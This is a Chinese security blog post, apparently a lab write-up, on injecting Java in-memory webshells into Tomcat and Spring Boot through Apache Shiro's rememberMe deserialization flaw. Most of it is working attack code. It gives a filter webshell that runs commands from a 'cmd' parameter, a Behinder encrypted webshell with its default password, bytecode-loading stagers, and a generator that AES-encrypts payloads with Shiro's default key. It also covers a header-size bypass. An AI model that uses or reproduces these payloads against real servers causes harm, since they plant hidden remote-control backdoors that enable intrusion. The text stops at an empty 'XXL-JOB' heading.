内存马实战(持续更新中)

news2024/11/19 2:48:10

注:这篇文章记录在我的语雀里面,语雀格式好看一点,地址:
https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61

计划

复现以下框架的内存马注入:
shiro:

  • 普通内存马
  • 冰蝎马
  • WebSocket马

xxl-job

  • filter马
  • 冰蝎马
  • netty内存马
  • agent内存马

其他

  • JNDI(字节码里执行)
  • SpringBoot spel表达式注入(spring cloud gateway)
  • Struts2的ognl表达式注入
  • Tomcat的EL表达式注入

参考:https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

Tomcat+Shiro内存马

启动环境

环境使用shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell
配置一个tomcat地址,然后shirodemo工件添加进去启动即可
图片.png
部署工件:图片.png启动成功:图片.png

注入普通内存马

构建ExecFilter.java

注入一个filter类型的内存马ExecFilter.java,这个马有两部分:一个恶意filter将恶意filter注册进filterChain的类
ExecFilterFilter因为其被TemplatesImpl类来加载,所以需要继承AbstractTranslet 类,原因参考:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/ezka61zk9zoksi5c#tv850
最终得到如下代码:

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

代码是会报错的,需要添加tomcat核心包
图片.png
添加tomcat核心包

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-core</artifactId>
  <version>8.5.50</version>
</dependency>
利用反序列化漏洞注入

需要用CB1链或者CCShiro链进行注入,我之前写过:无commons-collections链:CommonsBeanutils
需要简单的改一下参数和返回值。
新建一个类Client_memshell,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密

package MemShell.ShiroFilter;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ExecFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

生成poc,通过rememberMe=发送,报错请求头太大
图片.png

修改配置复现

方法一:修改maxHttpHeaderSize配置
在tomcat的server.xml 配置文件中的 <Connector> 元素内设置 maxHttpHeaderSize 属性。

maxHttpHeaderSize="999999"

图片.png
然后生成的poc构造发送,这次是200了
但是报错:Unable to deserialze argument byte array.,意思是无法将字节数组反序列化为对象。 图片.png网上查了一下说的是因为tomcat版本的问题:shiro注入filter内存马及tomcat版本对获取context影响的分析_shiro内存马-CSDN博客
总结一下应该是8.5.78往后的tomcat8都不行只有之前的版本可以使用WebappClassLoaderBase#getResources()
于是我又去下了个tomcat8.5.50的,下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/
换了版本之后成功了
图片.png
成功弹计算器
图片.png

绕过maxHttpHeaderSize

POST请求字节码绕过maxHttpHeaderSize

注入普通内存马

tomcat大小问题绕过参考洋洋师傅的文章:绕过maxHttpHeaderSize,我采用从POST请求体中发送字节码数据的方式进行绕过。
思路就是获取request、response等对象,然后通过request对象的getParameter方法获取参数,defineClass加载参数传进来的字节码即可。
把之前设置的maxHttpHeaderSize再删掉:
图片.png
使用链:CommonsCollectionsShiro,代码如下

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

要注入的filter内存马ExecFilter

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

构建ClassDataLoader.java用于接收参数classData然后实例化传入的字节码并执行。

package MemShell.ShiroFilter.maxHttpHeaderSize;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

使用Client_memshell.java生成aes+base64加密的反序列化链:

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

将生成的poc通过Cookie: rememberMe=发送图片.png然后生成base64编码过的ExecFilter.class字节码,通过post传参,注意还要url编码一下

cat ExecFilter.class|base64 |sed ':label;N;s/\n//;b label'

yv66vgAAADQBQwoATACjCQCkAKUIAKYKAKcAqAgAdwsAqQCqCgCrAKwKAKsArQcArgcArwoAsACxCgAKALIKAAkAswcAtAoADgCjCgAJALUKAA4AtgoADgC3CgAOALgLALkAugoAuwC8CgC9AL4KAL0AvwoAvQDACwDBAMIIAGcIAMMIAMQKAMUAxgoAxQDHBwDICgAfAMkLAMoAywcAzAoAPwDNCACMCgA7AM4KAM8A0AoAzwDRBwDSBwDTCgApAKMHANQKACsAowoAKwDVCgArANYKADsA1woAKwDYCgAiANkHANoKADIAowoAMgDbCgAyANYJANwA3QoA3ADeCgAyAN8KACIA4AcA4QcA4gcA4woAOwDkCgDlANAHAOYKAOUA5wsAKADoBwDpCgBCAOoHAOsKAEQA6gcA7AoARgDqBwDtCgBIAOoHAO4KAEoA6gcA7wcA8AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTE1lbVNoZWxsL1NoaXJvRmlsdGVyL0V4ZWNGaWx0ZXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb... ...

如下发送
图片.png
弹个计算器看看成功没有,成功!图片.png

注入冰蝎马

classloader和cc链都是一样的,只是将ExecFilter.java换成冰蝎马BehinderFilter.java

package MemShell.ShiroFilter;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter BX ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

生成它的字节码,然后base64+url编码,通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

然后使用冰蝎连接,成功:
URL:http://192.168.32.129:8080/shirodemo_war/
密码:rebeyond
图片.png

原理分析

ExecFilter构造思路

我写的笔记:冰蝎马分析与改造

冰蝎马改造为字节码

参考:https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
我写的笔记:冰蝎马分析与改造

Springboot+Shiro注内存马

启动环境

启动环境遇到了挺多问题

  1. 首先springboot-shiro这个目录没有被标记为模块

解决办法:在项目结构中添加
图片.png

  1. 然后又报错“找不到项目 ‘org.springframework.boot:spring-boot-starter-parent:2.4.5’”等一堆报错,百度了一下。

解决办法:选择File—>Invalidate Caches / Restart…就可以解决这个问题,因为更新之后,缓存没有及时生效,重启之后就好了。
20210505195940693.png

  1. 最后报错“java: 程序包org.apache.catalina.connector不存在

解决办法:右键模块——>Maven——>重新加载项目
图片.png
然后终于跑起来了图片.png

注入冰蝎马

不搞那么麻烦了,直接注冰蝎马,注意spring的MyClassLoader如下,是通过Spring Boot上下文中获取:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");

            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

将生成的poc通过Cookie: rememberMe=发送
注意得先添加spring的依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

如下所示:
图片.png
图片.png
生成冰蝎的字节码,然后base64+url编码,通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

注意冰蝎马因为tomcat和spring环境不一样,需要使用try… catch… 应对不同的环境图片.png发送后成功连接冰蝎图片.png

原理分析

spring和tomcat注册filter的差异分析

原因:springboot中的standardContextfilterConfigs值是继承自父类图片.webp使用try-catch对不同环境进行读取即可,也就是多了个getSuperclass()

getSuperclass():返回该类直接继承的父类的Class对象。 如果该类是Object类,则返回null。

Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
Spring Boot分析ClassLoader

首先是Spring Boot,通过Spring Boot的上下文获取request对象图片.png然后通过request获取response和session对象图片.png通过request获取post参数classData后base64解码。图片.png最后通过反射获取ClassLoader#defineClass,然后将传过来的字节码还原为类,实例化这个类调用其equals方法,参数为request,response,session图片.png

Tomcat分析ClassLoader

Tomcat和spring代码区别就是其没有spring的上下文,需要另外寻找其request。这里是通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。

可以使用 内存对象搜索工具-java-object-searcher寻找,首先放到代码中:
图片.png
编写一个servlet,在其doGet方法中写入对应的查找逻辑

import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

public class helloController extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
        //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打开调试模式
        searcher.setIs_debug(true);
        //挖掘深度为20
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("C:\\");
        searcher.searchObject();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

在web.xml也要配好映射:

  <!--注册servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的请求路径-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

位置如下:图片.png我的虚拟机只有C盘,还需更改路径为C盘

searcher.setReport_save_path("C:\\");

然后访问/hello, 查找结果文件保存在C盘根目录下
结果中有RequestInfo
图片.png
然后这里我还不知道打断点在那里… …
问了下朋友
图片.png
说的在jar包中打断点

最后也是找到了,不过也是一知半解的,并且这个Request对象也不是最终的Request对象

这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象,通过此对象就能调用getParameter方法获取到请求体里面的数据

图片.png复制它的堆栈出来是这样的:

createProcessor:904, AbstractHttp11Protocol (org.apache.coyote.http11)
process:798, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1623, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

然后最后的代码就是通过反射一直取值拿到request

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

XXL-JOB

